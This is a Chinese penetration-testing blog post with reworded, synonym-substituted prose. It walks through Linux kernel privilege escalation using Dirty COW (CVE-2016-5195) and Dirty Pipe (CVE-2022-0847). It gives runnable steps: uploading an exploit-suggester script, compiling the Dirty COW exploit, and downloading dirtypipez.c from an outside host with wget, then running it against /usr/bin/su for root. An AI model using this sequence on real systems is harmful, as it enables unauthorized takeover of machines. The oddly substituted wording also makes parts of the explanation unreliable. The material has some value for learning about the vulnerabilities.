本文正在参加「金石方案 . 瓜分6万现金大奖」
前语
在浸透过程中,有时使用某些缝隙能够获取一个低权限的用户,然后想办法提权,提升到root用户权限,然后操控整个体系。 在获取到低权限shell后,通常会检查操作体系的发行版别、内核版别,老版别的体系可能会存在一些缝隙,于是咱们能够使用这些版别缝隙进行提权。下面给大家带来的是一些内核提权的比如。
CVE-2016-5195
内核缝隙因为涉及的规模比较多,作为入门就以最著名的CVE-2016-5195(脏牛缝隙)来作为演示:
dirtycow-exp:github.com/gbonacini/C…
dirtycow-检测脚本:github.com/aishee/scan…
简略简述一下它的原理:Linux内核的内存子体系在处理写入仿制(copy-on-write, COW)时产生了竞争条件(race condition) 。攻击者可使用此缝隙,来获取高权限,对只读内存映射进行写访问。其中的竞争条件指任务履行次序反常而导致的使用崩溃,令攻击者有隙可乘,进一步履行其他代码。
提权思路
上传脏牛检测脚本-检测疑似存在缝隙-上传脏牛exp-提权成功
咱们需要检测体系内核版别:
# 检查体系发行版别
lsb_release -a
# 检查内核版别
uname -a
当发现版别内核在脏牛影响的规模内时,拿到用户权限后将检测脚本上传至靶机:
upload /root/linux-exploit-suggester.sh /tmp/xino.sh
然后赋予该探针履行权限:
chmod 777 xino.sh
若要检测到存在,则持续上传咱们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
履行后可得到root权限,提权脚本还能够经过searchsploit下载到本地:
searchsploit dirty
下面咱们再举例一个其他内核缝隙:
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
github.com/Arinerron/C…
CVE-2022-0847
该缝隙是 5.8 以来 Linux 内核中的一个缝隙,覆盖任意只读文件中的数据。导致权限提升,因为非特权进程能够将代码注入根进程。
影响版别如下:
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
咱们检查受害靶机内核版别:
uname -a
发现版别在该缝隙的影响规模内后咱们即可测验进行攻击:
下载缝隙使用文件,编译后运行即可进行提权:
sudo wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipe dirtypipez.c
./dirtypipe /usr/bin/su
原理简述
下面简略讲一下该缝隙的由来,linux体系中存在管道符来完结数据传递,但管道符有必定的局限性:
数据一旦被读走,便不在管道中存在,不行反复读取;
由于管道选用半双工通信方式,因此数据只能在一个方向上活动;
只能在有公共先人(有血缘)的进程间使用管道。
splice 这个体系调用接口能够将数据从一个文件”零复制”到一个 pipe 管道。简略来说便是不需要把内核缓冲区的内容往用户空间复制。它所调用的函数copy_page_to_iter_pipe作用是将 pipe 缓存页结构指向要传输的文件的文件缓存页 。咱们用splice读取数据到管道上,在 splice中并未清空 pipe_buffer 的标志位,然后让内核误以为该页面能够被写入;,然后将管道页面可写入的状态保留了下来,这给了咱们越权写入只读文件的操作。详细流程能够参阅以下博客:
dirtypipe.cm4all.com/
结语
今日简略向大家讲解了使用内核缝隙去进行提权的操作,能够发现内核缝隙最主要的便是信息获取后寻找对应的内核缝隙再去攻击,因为内核缝隙有很多所以就挑出了两个常见并且常用的来给大家演示一下,如果对本文感兴趣不妨一键三连。